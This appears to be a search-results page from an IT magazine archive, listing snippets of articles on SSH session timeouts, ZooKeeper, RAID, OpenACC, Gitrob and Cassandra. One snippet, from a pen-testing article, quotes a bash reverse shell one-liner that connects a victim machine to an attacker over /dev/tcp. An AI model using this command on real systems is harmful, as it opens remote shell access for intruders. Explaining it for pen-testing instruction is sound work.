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Automatically terminate OpenSSH sessions
30.01.2024
Home »  Archive  »  2024  »  Issue 79: Monit...  » 
Photo by Jon Tyson on Unsplash
AliveInterval and ClientAliveCountMax, are intended to help meet the compliance requirements: grep -i clientalive /etc/ssh/sshd_config ClientAliveInterval 600 ClientAliveCountMax 0 Once you have made these changes to your
10%
Coordinating distributed systems with ZooKeeper
07.10.2014
Home »  Archive  »  2014  »  Issue 23: 10 Ti...  » 
Lead Image © smileus, 123RF.com
of the naming, grouping, or configurations of the menagerie. Thanks to ZooKeeper [1], which is available under the Apache 2.0 license, not every cluster has to provide a synchronization service itself
10%
Gathering Data on Environment Modules
10.09.2012
Home »  HPC  »  Articles  » 
$ module load compiler/open64-5.0 where the first part of the command is the module command, the second part is the module function, and the third part is the module you are loading. To make things easier
10%
Introducing parity declustering RAID
28.11.2022
Home »  Archive  »  2022  »  Issue 72: OpenS...  » 
Lead Image © Author, 123RF.com
. Figure 1: A general outline of RAID levels 0, 1, and 5. Common RAID types include: RAID 0 – Disk striping. Data is written in chunks across all drives in a stripe, typically organized in a round
10%
OpenACC – Parallelizing Loops
09.01.2019
Home »  HPC  »  Articles  » 
of the loop, n , is large enough, some processing hardware can greatly speed up the computation. What happens if z(i)  depends on a previous value, as in the following: do i = 2,n    z(i) = z(i-1)*2 enddo
10%
Using loop directives to improve performance
05.02.2019
Home »  Archive  »  2019  »  Issue 49: Anato...  » 
Lead Image © orson, 123RF.com
if z(i) depends on a previous value, as in the following: do i = 2,n z(i) = z(i-1)*2 enddo As written, you can't generally parallelize the loop because of data dependency [4]. This dependency
10%
Plundering treasures with Gitrob
09.04.2019
Home »  Archive  »  2019  »  Issue 50: Bpfilter  » 
Lead Image © pip, photocase.com
Hub releases page [7]. I went with gitrob_linux_amd64_2.0.0-beta.zip, which is a little more than 6MB in size and 21MB uncompressed. After downloading the file (e.g., with wget), I checked that the binary suited
10%
Improved defense through pen testing
13.12.2018
Home »  Archive  »  2018  »  Issue 48: Secur...  » 
Lead Image Photo by Simeon Jacobson on Unsplash
with Computer A (the victim system) receiving the following code: $ bash -I <& /dev/tcp/10.0.0.1/444 0<&1 that causes Computer A to connect to Computer B (the attacking system that receives the connection from
10%
Open Network Operating System
11.10.2016
Home »  Archive  »  2016  »  Issue 35: Persi...  » 
Lead Image © Rade Lukovic, Fotolia.com
. It is currently working on version 1.7.0 (code-named Hummingbird), which will be the eighth release of ONOS. The ONOS team includes various other participants, including service providers such as AT&T, China
10%
Getting started with the Apache Cassandra database
06.10.2019
Home »  Archive  »  2019  »  Issue 53: Secur...  » 
Photo by Almos Bechtold on Unsplash
publisher TEXT, 07 authors MAP, 08 circulation INT, 09 issue TEXT, 10 PRIMARY KEY(publisher, issue, isbn) 11 ); 12 13 # INSERT INTO titles(isbn, year, title, publisher, authors, circulation

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